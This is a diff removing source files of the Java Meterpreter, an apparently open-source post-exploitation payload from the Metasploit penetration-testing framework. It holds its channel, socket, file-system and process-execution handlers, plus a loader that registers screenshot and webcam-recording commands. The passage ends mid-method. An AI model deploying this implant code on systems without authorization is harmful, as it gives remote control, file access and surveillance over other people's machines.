Channel channel = meterpreter.getChannel(request.getIntValue(TLVType.TLV_TYPE_CHANNEL_ID), true);
int len = request.getIntValue(TLVType.TLV_TYPE_LENGTH);
byte[] data = channel.read(len);
if (data == null)
return ERROR_FAILURE;
response.add(TLVType.TLV_TYPE_CHANNEL_DATA, data);
return ERROR_SUCCESS;
}
}

View File

@ -1,19 +0,0 @@
package com.metasploit.meterpreter.core;
import com.metasploit.meterpreter.Channel;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
public class core_channel_write implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
Channel c = meterpreter.getChannel(request.getIntValue(TLVType.TLV_TYPE_CHANNEL_ID), true);
byte[] data = request.getRawValue(TLVType.TLV_TYPE_CHANNEL_DATA);
int len = request.getIntValue(TLVType.TLV_TYPE_LENGTH);
c.write(data, len, request);
response.add(TLVType.TLV_TYPE_LENGTH, len);
return ERROR_SUCCESS;
}
}

View File

@ -1,19 +0,0 @@
package com.metasploit.meterpreter.core;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
public class core_loadlib implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
byte[] data = request.getRawValue(TLVType.TLV_TYPE_DATA);
String[] commands = meterpreter.loadExtension(data);
for (int i = 0; i < commands.length; i++) {
response.addOverflow(TLVType.TLV_TYPE_METHOD, commands[i]);
}
return ERROR_SUCCESS;
}
}

View File

@ -1,37 +0,0 @@
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.metasploit</groupId>
<artifactId>Metasploit-Java-Meterpreter-parent</artifactId>
<parent>
<groupId>com.metasploit</groupId>
<artifactId>Metasploit-JavaPayload-parent</artifactId>
<version>1-SNAPSHOT</version>
</parent>
<packaging>pom</packaging>
<name>Java Meterpreter (Parent project)</name>
<url>http://www.metasploit.com/</url>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-jar-plugin</artifactId>
<version>2.4</version>
<configuration>
<archive>
<addMavenDescriptor>false</addMavenDescriptor>
<manifestEntries>
<!-- override ${user.name} here -->
<Built-By>www.metasploit.com</Built-By>
</manifestEntries>
</archive>
</configuration>
</plugin>
</plugins>
</build>
<modules>
<module>meterpreter</module>
<module>stdapi</module>
<module>debugloader</module>
</modules>
</project>

View File

@ -1,80 +0,0 @@
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.metasploit</groupId>
<artifactId>Metasploit-Java-Meterpreter-stdapi</artifactId>
<parent>
<groupId>com.metasploit</groupId>
<artifactId>Metasploit-Java-Meterpreter-parent</artifactId>
<version>1-SNAPSHOT</version>
</parent>
<packaging>jar</packaging>
<name>Java Meterpreter StdApi Plugin</name>
<url>http://www.metasploit.com/</url>
<dependencies>
<dependency>
<groupId>com.metasploit</groupId>
<artifactId>Metasploit-JavaPayload</artifactId>
<version>${project.version}</version>
</dependency>
<dependency>
<groupId>com.metasploit</groupId>
<artifactId>Metasploit-Java-Meterpreter</artifactId>
<version>${project.version}</version>
</dependency>
</dependencies>
<build>
<finalName>ext_server_stdapi</finalName>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-jar-plugin</artifactId>
<version>2.4</version>
<configuration>
<archive>
<manifestEntries>
<Extension-Loader>com.metasploit.meterpreter.stdapi.Loader</Extension-Loader>
</manifestEntries>
</archive>
</configuration>
</plugin>
</plugins>
</build>
<profiles>
<profile>
<!-- deploy built files to Metasploit data directory -->
<id>deploy</id>
<build>
<plugins>
<plugin>
<artifactId>maven-antrun-plugin</artifactId>
<version>1.7</version>
<executions>
<execution>
<phase>package</phase>
<goals>
<goal>run</goal>
</goals>
<configuration>
<target>
<mkdir dir="${project.basedir}/target/tmp" />
<unzip src="${project.basedir}/target/${project.build.finalName}.jar" dest="${project.basedir}/target/tmp" />
<touch datetime="01/01/2000 00:00 AM">
<fileset dir="${project.basedir}/target/tmp" includes="**/*" />
</touch>
<delete file="${project.basedir}/../../../../../data/meterpreter/${project.build.finalName}.jar"/>
<zip destfile="${project.basedir}/../../../../../data/meterpreter/${project.build.finalName}.jar">
<fileset dir="${project.basedir}/target/tmp" includes="META-INF/**" />
<fileset dir="${project.basedir}/target/tmp" excludes="META-INF/**" />
</zip>
<delete dir="${project.basedir}/target/tmp" />
</target>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
</build>
</profile>
</profiles>
</project>

View File

@ -1,96 +0,0 @@
package com.metasploit.meterpreter;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.net.DatagramPacket;
import java.net.DatagramSocket;
import java.net.InetAddress;
import java.net.SocketException;
/**
* A channel for a {@link DatagramSocket}.
*
* @author mihi
*/
public class DatagramSocketChannel extends Channel {
private final DatagramSocket datagramSocket;
private boolean closed = false;
/**
* Create a new socket channel.
*
* @param meterpreter
* The meterpreter this channel should be assigned to.
* @param socket
* Socket of the channel
*/
public DatagramSocketChannel(Meterpreter meterpreter, DatagramSocket datagramSocket) throws IOException {
super(meterpreter, new ByteArrayInputStream(new byte[0]), null);
this.datagramSocket = datagramSocket;
new AcceptThread().start();
}
public void write(byte[] data, int length, TLVPacket request) throws IOException {
String remoteHostName = (String) request.getValue(TLVType.TLV_TYPE_PEER_HOST, null);
InetAddress remoteHost = null;
int remotePort = 0;
if (remoteHostName != null) {
remoteHost = InetAddress.getByName(remoteHostName);
remotePort = request.getIntValue(TLVType.TLV_TYPE_PEER_PORT);
}
write(data, length, remoteHost, remotePort);
}
private void write(byte[] data, int length, InetAddress remoteHost, int remotePort) throws IOException {
if (remoteHost == null) {
remoteHost = datagramSocket.getInetAddress();
remotePort = datagramSocket.getPort();
}
DatagramPacket dp = new DatagramPacket(data, length, remoteHost, remotePort);
datagramSocket.send(dp);
}
public void close() throws IOException {
closed = true;
datagramSocket.close();
super.close();
}
Meterpreter getMeterpreter() {
return meterpreter;
}
private class AcceptThread extends Thread {
public void run() {
try {
byte[] datagram = new byte[65536];
while (true) {
try {
DatagramPacket dp = new DatagramPacket(datagram, datagram.length);
datagramSocket.receive(dp);
byte[] data = new byte[dp.getLength()];
System.arraycopy(datagram, 0, data, 0, dp.getLength());
TLVPacket tlv = new TLVPacket();
tlv.add(TLVType.TLV_TYPE_CHANNEL_ID, getID());
tlv.add(TLVType.TLV_TYPE_PEER_HOST, dp.getAddress().getHostAddress());
tlv.add(TLVType.TLV_TYPE_PEER_PORT, dp.getPort());
tlv.add(TLVType.TLV_TYPE_CHANNEL_DATA, data);
tlv.add(TLVType.TLV_TYPE_LENGTH, data.length);
getMeterpreter().writeRequestPacket("core_channel_write", tlv);
} catch (SocketException t) {
// dirty hack since later java versions add more of those...
if (!t.getClass().getName().endsWith("UnreachableException"))
throw t;
}
}
} catch (SocketException t) {
if (closed)
return;
t.printStackTrace(getMeterpreter().getErrorStream());
} catch (Throwable t) {
t.printStackTrace(getMeterpreter().getErrorStream());
}
}
}
}

View File

@ -1,39 +0,0 @@
package com.metasploit.meterpreter;
import java.io.IOException;
import java.io.InputStream;
import com.metasploit.meterpreter.Channel;
import com.metasploit.meterpreter.Meterpreter;
/**
* A channel for a started {@link Process}.
*
* @author mihi
*/
public class ProcessChannel extends Channel {
private final Process process;
private final InputStream err;
/**
* Create a new process channel.
*
* @param meterpreter
* The meterpreter this channel should be assigned to.
* @param process
* Process of the channel
*/
public ProcessChannel(Meterpreter meterpreter, Process process) {
super(meterpreter, process.getInputStream(), process.getOutputStream());
this.process = process;
this.err = process.getErrorStream();
new InteractThread(err).start();
}
public void close() throws IOException {
process.destroy();
err.close();
super.close();
}
}

View File

@ -1,69 +0,0 @@
package com.metasploit.meterpreter;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.SocketException;
/**
* A channel for a {@link ServerSocket}.
*
* @author mihi
*/
public class ServerSocketChannel extends Channel {
private final ServerSocket serverSocket;
private boolean closed = false;
/**
* Create a new socket channel.
*
* @param meterpreter
* The meterpreter this channel should be assigned to.
* @param socket
* Socket of the channel
*/
public ServerSocketChannel(Meterpreter meterpreter, ServerSocket serverSocket) throws IOException {
super(meterpreter, new ByteArrayInputStream(new byte[0]), null);
this.serverSocket = serverSocket;
new AcceptThread().start();
}
public void close() throws IOException {
closed = true;
serverSocket.close();
super.close();
}
Meterpreter getMeterpreter() {
return meterpreter;
}
private class AcceptThread extends Thread {
public void run() {
try {
while(true) {
Socket s = serverSocket.accept();
SocketChannel ch = new SocketChannel(getMeterpreter(), s);
TLVPacket packet = new TLVPacket();
packet.add(TLVType.TLV_TYPE_CHANNEL_ID, ch.getID());
packet.add(TLVType.TLV_TYPE_CHANNEL_PARENTID, getID());
packet.add(TLVType.TLV_TYPE_LOCAL_HOST, s.getLocalAddress().getHostAddress());
packet.add(TLVType.TLV_TYPE_LOCAL_PORT, s.getLocalPort());
packet.add(TLVType.TLV_TYPE_PEER_HOST, s.getInetAddress().getHostAddress());
packet.add(TLVType.TLV_TYPE_PEER_PORT, s.getPort());
getMeterpreter().writeRequestPacket("tcp_channel_open", packet);
ch.startInteract();
}
} catch (SocketException t) {
if (closed)
return;
t.printStackTrace(getMeterpreter().getErrorStream());
} catch (Throwable t) {
t.printStackTrace(getMeterpreter().getErrorStream());
}
}
}
}

View File

@ -1,39 +0,0 @@
package com.metasploit.meterpreter;
import java.io.IOException;
import java.net.Socket;
/**
* A channel for a {@link Socket}.
*
* @author mihi
*/
public class SocketChannel extends Channel {
private final Socket socket;
/**
* Create a new socket channel.
*
* @param meterpreter
* The meterpreter this channel should be assigned to.
* @param socket
* Socket of the channel
*/
public SocketChannel(Meterpreter meterpreter, Socket socket) throws IOException {
super(meterpreter, socket.getInputStream(), socket.getOutputStream());
this.socket = socket;
}
public void close() throws IOException {
socket.close();
super.close();
}
/**
* Get the socket.
*/
public Socket getSocket() {
return socket;
}
}

View File

@ -1,26 +0,0 @@
package com.metasploit.meterpreter.stdapi;
import java.io.FileInputStream;
import java.security.MessageDigest;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
public abstract class HashCommand implements Command {
protected abstract String getAlgorithm();
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
FileInputStream in = new FileInputStream(Loader.expand(request.getStringValue(TLVType.TLV_TYPE_FILE_PATH)));
MessageDigest md = MessageDigest.getInstance(getAlgorithm());
byte[] buf = new byte[4096];
int len;
while ((len = in.read(buf)) != -1) {
md.update(buf, 0, len);
}
response.add(TLVType.TLV_TYPE_FILE_NAME, new String(md.digest(), "ISO-8859-1"));
return ERROR_SUCCESS;
}
}

View File

@ -1,52 +0,0 @@
package com.metasploit.meterpreter.stdapi;
import java.io.File;
import com.metasploit.meterpreter.CommandManager;
import com.metasploit.meterpreter.ExtensionLoader;
/**
* Loader class to register all the stdapi commands.
*
* @author mihi
*/
public class Loader implements ExtensionLoader {
public static File cwd;
public static File expand(String path) {
File result = new File(path);
if (!result.isAbsolute())
result = new File(cwd, path);
return result;
}
public void load(CommandManager mgr) throws Exception {
cwd = new File(".").getCanonicalFile();
mgr.registerCommand("channel_create_stdapi_fs_file", channel_create_stdapi_fs_file.class);
mgr.registerCommand("channel_create_stdapi_net_tcp_client", channel_create_stdapi_net_tcp_client.class);
mgr.registerCommand("channel_create_stdapi_net_tcp_server", channel_create_stdapi_net_tcp_server.class);
mgr.registerCommand("channel_create_stdapi_net_udp_client", channel_create_stdapi_net_udp_client.class);
mgr.registerCommand("stdapi_fs_chdir", stdapi_fs_chdir.class);
mgr.registerCommand("stdapi_fs_delete_dir", stdapi_fs_delete_dir.class);
mgr.registerCommand("stdapi_fs_delete_file", stdapi_fs_delete_file.class);
mgr.registerCommand("stdapi_fs_file_expand_path", stdapi_fs_file_expand_path.class, V1_2, V1_5); // %COMSPEC% only
mgr.registerCommand("stdapi_fs_getwd", stdapi_fs_getwd.class);
mgr.registerCommand("stdapi_fs_ls", stdapi_fs_ls.class);
mgr.registerCommand("stdapi_fs_mkdir", stdapi_fs_mkdir.class);
mgr.registerCommand("stdapi_fs_md5", stdapi_fs_md5.class);
mgr.registerCommand("stdapi_fs_search", stdapi_fs_search.class);
mgr.registerCommand("stdapi_fs_separator", stdapi_fs_separator.class);
mgr.registerCommand("stdapi_fs_stat", stdapi_fs_stat.class, V1_2, V1_6);
mgr.registerCommand("stdapi_fs_sha1", stdapi_fs_sha1.class);
mgr.registerCommand("stdapi_net_config_get_interfaces", stdapi_net_config_get_interfaces.class, V1_4, V1_6);
mgr.registerCommand("stdapi_net_config_get_routes", stdapi_net_config_get_routes.class, V1_4);
mgr.registerCommand("stdapi_net_socket_tcp_shutdown", stdapi_net_socket_tcp_shutdown.class, V1_2, V1_3);
mgr.registerCommand("stdapi_sys_config_getuid", stdapi_sys_config_getuid.class);
mgr.registerCommand("stdapi_sys_config_sysinfo", stdapi_sys_config_sysinfo.class);
mgr.registerCommand("stdapi_sys_process_execute", stdapi_sys_process_execute.class, V1_2, V1_3);
mgr.registerCommand("stdapi_sys_process_get_processes", stdapi_sys_process_get_processes.class, V1_2);
mgr.registerCommand("stdapi_ui_desktop_screenshot", stdapi_ui_desktop_screenshot.class, V1_4);
mgr.registerCommand("webcam_audio_record", webcam_audio_record.class, V1_4);
}
}

View File

@ -1,40 +0,0 @@
package com.metasploit.meterpreter.stdapi;
import java.io.ByteArrayInputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import com.metasploit.meterpreter.Channel;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
import com.metasploit.meterpreter.command.NotYetImplementedCommand;
public class channel_create_stdapi_fs_file implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
String fpath = request.getStringValue(TLVType.TLV_TYPE_FILE_PATH);
String mode = request.getStringValue(TLVType.TLV_TYPE_FILE_MODE, "rb");
Channel channel;
if (mode.equals("r") || mode.equals("rb") || mode.equals("rbb")) {
channel = null;
if (fpath.equals("...")) {
byte[] data = meterpreter.getErrorBuffer();
if (data != null)
channel = new Channel(meterpreter, new ByteArrayInputStream(data), null);
}
if (channel == null)
channel = new Channel(meterpreter, new FileInputStream(Loader.expand(fpath)), null);
} else if (mode.equals("r") || mode.equals("wb") || mode.equals("wbb")) {
channel = new Channel(meterpreter, new ByteArrayInputStream(new byte[0]), new FileOutputStream(Loader.expand(fpath).getPath(), false));
} else if (mode.equals("a") || mode.equals("ab") || mode.equals("abb")) {
channel = new Channel(meterpreter, new ByteArrayInputStream(new byte[0]), new FileOutputStream(Loader.expand(fpath).getPath(), true));
} else {
NotYetImplementedCommand.INSTANCE.execute(meterpreter, request, response);
throw new IllegalArgumentException("Unsupported file mode: " + mode);
}
response.add(TLVType.TLV_TYPE_CHANNEL_ID, channel.getID());
return ERROR_SUCCESS;
}
}

View File

@ -1,43 +0,0 @@
package com.metasploit.meterpreter.stdapi;
import java.net.ConnectException;
import java.net.InetAddress;
import java.net.Socket;
import com.metasploit.meterpreter.Channel;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.SocketChannel;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
public class channel_create_stdapi_net_tcp_client implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
String peerHost = request.getStringValue(TLVType.TLV_TYPE_PEER_HOST);
int peerPort = request.getIntValue(TLVType.TLV_TYPE_PEER_PORT);
String localHost = request.getStringValue(TLVType.TLV_TYPE_LOCAL_HOST);
int localPort = request.getIntValue(TLVType.TLV_TYPE_LOCAL_PORT);
int retries = ((Integer) request.getValue(TLVType.TLV_TYPE_CONNECT_RETRIES, new Integer(1))).intValue();
if (retries < 1)
retries = 1;
InetAddress peerAddr = InetAddress.getByName(peerHost);
InetAddress localAddr = InetAddress.getByName(localHost);
Socket socket = null;
for (int i = 0; i < retries; i++) {
try {
socket = new Socket(peerAddr, peerPort, localAddr, localPort);
break;
} catch (ConnectException ex) {
if (i == retries - 1)
throw ex;
}
}
// If we got here, the connection worked, respond with the new channel ID
Channel channel = new SocketChannel(meterpreter, socket);
channel.startInteract();
response.add(TLVType.TLV_TYPE_CHANNEL_ID, channel.getID());
return ERROR_SUCCESS;
}
}

View File

@ -1,27 +0,0 @@
package com.metasploit.meterpreter.stdapi;
import java.net.InetAddress;
import java.net.ServerSocket;
import com.metasploit.meterpreter.Channel;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.ServerSocketChannel;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
public class channel_create_stdapi_net_tcp_server implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
String localHost = request.getStringValue(TLVType.TLV_TYPE_LOCAL_HOST);
int localPort = request.getIntValue(TLVType.TLV_TYPE_LOCAL_PORT);
ServerSocket ss;
if (localHost.equals("0.0.0.0"))
ss = new ServerSocket(localPort);
else
ss = new ServerSocket(localPort, 50, InetAddress.getByName(localHost));
Channel channel = new ServerSocketChannel(meterpreter, ss);
response.add(TLVType.TLV_TYPE_CHANNEL_ID, channel.getID());
return ERROR_SUCCESS;
}
}

View File

@ -1,31 +0,0 @@
package com.metasploit.meterpreter.stdapi;
import java.net.DatagramSocket;
import java.net.InetAddress;
import com.metasploit.meterpreter.Channel;
import com.metasploit.meterpreter.DatagramSocketChannel;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
public class channel_create_stdapi_net_udp_client implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
String localHost = request.getStringValue(TLVType.TLV_TYPE_LOCAL_HOST);
int localPort = request.getIntValue(TLVType.TLV_TYPE_LOCAL_PORT);
String peerHost = request.getStringValue(TLVType.TLV_TYPE_PEER_HOST);
int peerPort = request.getIntValue(TLVType.TLV_TYPE_PEER_PORT);
DatagramSocket ds = new DatagramSocket(localPort, InetAddress.getByName(localHost));
if (peerPort != 0) {
ds.connect(InetAddress.getByName(peerHost), peerPort);
}
Channel channel = new DatagramSocketChannel(meterpreter,ds);
response.add(TLVType.TLV_TYPE_CHANNEL_ID, channel.getID());
return ERROR_SUCCESS;
}
}

View File

@ -1,22 +0,0 @@
package com.metasploit.meterpreter.stdapi;
import java.io.File;
import java.io.IOException;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
public class stdapi_fs_chdir implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
String path = request.getStringValue(TLVType.TLV_TYPE_DIRECTORY_PATH);
File f = Loader.expand(path);
if (!f.exists() || !f.isDirectory()) {
throw new IOException("Path not found: " + path);
}
Loader.cwd = f.getCanonicalFile();
return ERROR_SUCCESS;
}
}

View File

@ -1,24 +0,0 @@
package com.metasploit.meterpreter.stdapi;
import java.io.File;
import java.io.IOException;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
public class stdapi_fs_delete_dir implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
String path = request.getStringValue(TLVType.TLV_TYPE_DIRECTORY_PATH);
File file = Loader.expand(path);
if (!file.exists() || !file.isDirectory()) {
throw new IOException("Directory not found: " + path);
}
if (!file.delete()) {
throw new IOException("Cannot delete directory " + file.getCanonicalPath());
}
return ERROR_SUCCESS;
}
}

View File

@ -1,24 +0,0 @@
package com.metasploit.meterpreter.stdapi;
import java.io.File;
import java.io.IOException;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
public class stdapi_fs_delete_file implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
String path = request.getStringValue(TLVType.TLV_TYPE_FILE_PATH);
File file = Loader.expand(path);
if (!file.exists() || !file.isFile()) {
throw new IOException("File not found: " + path);
}
if (!file.delete()) {
throw new IOException("Cannot delete " + file.getCanonicalPath());
}
return ERROR_SUCCESS;
}
}

View File

@ -1,29 +0,0 @@
package com.metasploit.meterpreter.stdapi;
import java.io.File;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
import com.metasploit.meterpreter.command.NotYetImplementedCommand;
public class stdapi_fs_file_expand_path implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
String path = request.getStringValue(TLVType.TLV_TYPE_FILE_PATH);
if (path.equals("%COMSPEC%")) {
response.add(TLVType.TLV_TYPE_FILE_PATH, getShellPath());
return ERROR_SUCCESS;
} else {
return NotYetImplementedCommand.INSTANCE.execute(meterpreter, request, response);
}
}
protected String getShellPath() {
if (File.pathSeparatorChar == ';')
return "cmd.exe";
else
return "/bin/sh";
}
}

View File

@ -1,17 +0,0 @@
package com.metasploit.meterpreter.stdapi;
import java.io.File;
public class stdapi_fs_file_expand_path_V1_5 extends stdapi_fs_file_expand_path {
protected String getShellPath() {
String result;
if (File.pathSeparatorChar == ';')
result = System.getenv("COMSPEC");
else
result = System.getenv("SHELL");
if (result == null || result.length() == 0)
result = super.getShellPath();
return result;
}
}

View File

@ -1,14 +0,0 @@
package com.metasploit.meterpreter.stdapi;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
public class stdapi_fs_getwd implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
response.add(TLVType.TLV_TYPE_DIRECTORY_PATH, Loader.cwd.getAbsolutePath());
return ERROR_SUCCESS;
}
}

View File

@ -1,25 +0,0 @@
package com.metasploit.meterpreter.stdapi;
import java.io.File;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
public class stdapi_fs_ls implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
stdapi_fs_stat statCommand = (stdapi_fs_stat) meterpreter.getCommandManager().getCommand("stdapi_fs_stat");
String path = request.getStringValue(TLVType.TLV_TYPE_DIRECTORY_PATH);
String[] entries = new File(path).list();
for (int i = 0; i < entries.length; i++) {
if (entries[i].equals(".") || entries[i].equals(".."))
continue;
File f = new File(path, entries[i]);
response.addOverflow(TLVType.TLV_TYPE_FILE_NAME, entries[i]);
response.addOverflow(TLVType.TLV_TYPE_FILE_PATH, f.getCanonicalPath());
response.addOverflow(TLVType.TLV_TYPE_STAT_BUF, statCommand.stat(f));
}
return ERROR_SUCCESS;
}
}

View File

@ -1,7 +0,0 @@
package com.metasploit.meterpreter.stdapi;
public class stdapi_fs_md5 extends HashCommand {
protected String getAlgorithm() {
return "MD5";
}
}

View File

@ -1,24 +0,0 @@
package com.metasploit.meterpreter.stdapi;
import java.io.File;
import java.io.IOException;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
public class stdapi_fs_mkdir implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
String path = request.getStringValue(TLVType.TLV_TYPE_DIRECTORY_PATH);
File file = Loader.expand(path);
if (!file.getParentFile().exists() || !file.getParentFile().isDirectory()) {
throw new IOException("Parent directory not found: " + path);
}
if (!file.mkdirs()) {
throw new IOException("Cannot create directory " + file.getCanonicalPath());
}
return ERROR_SUCCESS;
}
}

View File

@ -1,103 +0,0 @@
package com.metasploit.meterpreter.stdapi;
import java.io.File;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
public class stdapi_fs_search implements Command {
private static final int TLV_TYPE_FILE_SIZE = TLVPacket.TLV_META_TYPE_UINT | 1204;
private static final int TLV_TYPE_SEARCH_RECURSE = TLVPacket.TLV_META_TYPE_BOOL | 1230;
private static final int TLV_TYPE_SEARCH_GLOB = TLVPacket.TLV_META_TYPE_STRING | 1231;
private static final int TLV_TYPE_SEARCH_ROOT = TLVPacket.TLV_META_TYPE_STRING | 1232;
private static final int TLV_TYPE_SEARCH_RESULTS = TLVPacket.TLV_META_TYPE_GROUP | 1233;
/**
* Simple glob implementation.
*/
private static boolean matches(String text, String glob) {
String rest = null;
int pos = glob.indexOf('*');
if (pos != -1) {
rest = glob.substring(pos + 1);
glob = glob.substring(0, pos);
}
if (glob.length() > text.length())
return false;
// handle the part up to the first *
for (int i = 0; i < glob.length(); i++)
if (glob.charAt(i) != '?'
&& !glob.substring(i, i + 1).equalsIgnoreCase(text.substring(i, i + 1)))
return false;
// recurse for the part after the first *, if any
if (rest == null) {
return glob.length() == text.length();
} else {
for (int i = glob.length(); i <= text.length(); i++) {
if (matches(text.substring(i), rest))
return true;
}
return false;
}
}
private List findFiles(String path, String mask, boolean recurse) {
try {
File pathfile = Loader.expand(path);
if (!pathfile.exists() || !pathfile.isDirectory()) {
pathfile = new File(path);
if (!pathfile.exists() || !pathfile.isDirectory()) {
throw new IOException("Path not found: " + path);
}
}
path = pathfile.getCanonicalPath();
File[] lst = new File(path).listFiles();
List glob = new ArrayList();
if (lst == null)
return glob;
for (int i = 0; i < lst.length; i++) {
File file = lst[i];
if (recurse && file.isDirectory()
// don't follow links to avoid infinite recursion
&& file.getCanonicalPath().equals(file.getAbsolutePath())) {
glob.addAll(findFiles(file.getAbsolutePath(), mask, true));
}
// Match file mask
if (matches(file.getName(), mask)) {
glob.add(path + "/" + file.getName());
}
}
Collections.sort(glob);
return glob;
} catch (IOException ex) {
return Collections.EMPTY_LIST;
}
}
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
String root = request.getStringValue(TLV_TYPE_SEARCH_ROOT, ".");
String glob = request.getStringValue(TLV_TYPE_SEARCH_GLOB);
boolean recurse = request.getBooleanValue(TLV_TYPE_SEARCH_RECURSE);
List files = findFiles(root, glob, recurse);
for (int i = 0; i < files.size(); i++) {
File f = new File((String) files.get(i));
TLVPacket file_tlvs = new TLVPacket();
file_tlvs.add(TLVType.TLV_TYPE_FILE_PATH, f.getParentFile().getPath());
file_tlvs.add(TLVType.TLV_TYPE_FILE_NAME, f.getName());
file_tlvs.add(TLV_TYPE_FILE_SIZE, (int) f.length());
response.addOverflow(TLV_TYPE_SEARCH_RESULTS, file_tlvs);
}
return ERROR_SUCCESS;
}
}

View File

@ -1,17 +0,0 @@
package com.metasploit.meterpreter.stdapi;
import java.io.File;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
public class stdapi_fs_separator implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
response.add(TLVType.TLV_TYPE_STRING, File.separator);
return ERROR_SUCCESS;
}
}

View File

@ -1,7 +0,0 @@
package com.metasploit.meterpreter.stdapi;
public class stdapi_fs_sha1 extends HashCommand {
protected String getAlgorithm() {
return "SHA-1";
}
}

View File

@ -1,79 +0,0 @@
package com.metasploit.meterpreter.stdapi;
import java.io.ByteArrayOutputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.IOException;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
public class stdapi_fs_stat implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
String path = request.getStringValue(TLVType.TLV_TYPE_FILE_PATH);
if (path.equals("...")) {
long length = meterpreter.getErrorBufferLength();
if (length != -1) {
response.add(TLVType.TLV_TYPE_STAT_BUF, stat(0444 | 0100000, length, System.currentTimeMillis()));
return ERROR_SUCCESS;
}
}
File file = new File(path);
if (!file.exists())
file = Loader.expand(path);
if (!file.exists())
throw new IOException("File/directory does not exist: " + path);
response.add(TLVType.TLV_TYPE_STAT_BUF, stat(file));
return ERROR_SUCCESS;
}
public byte[] stat(File file) throws IOException {
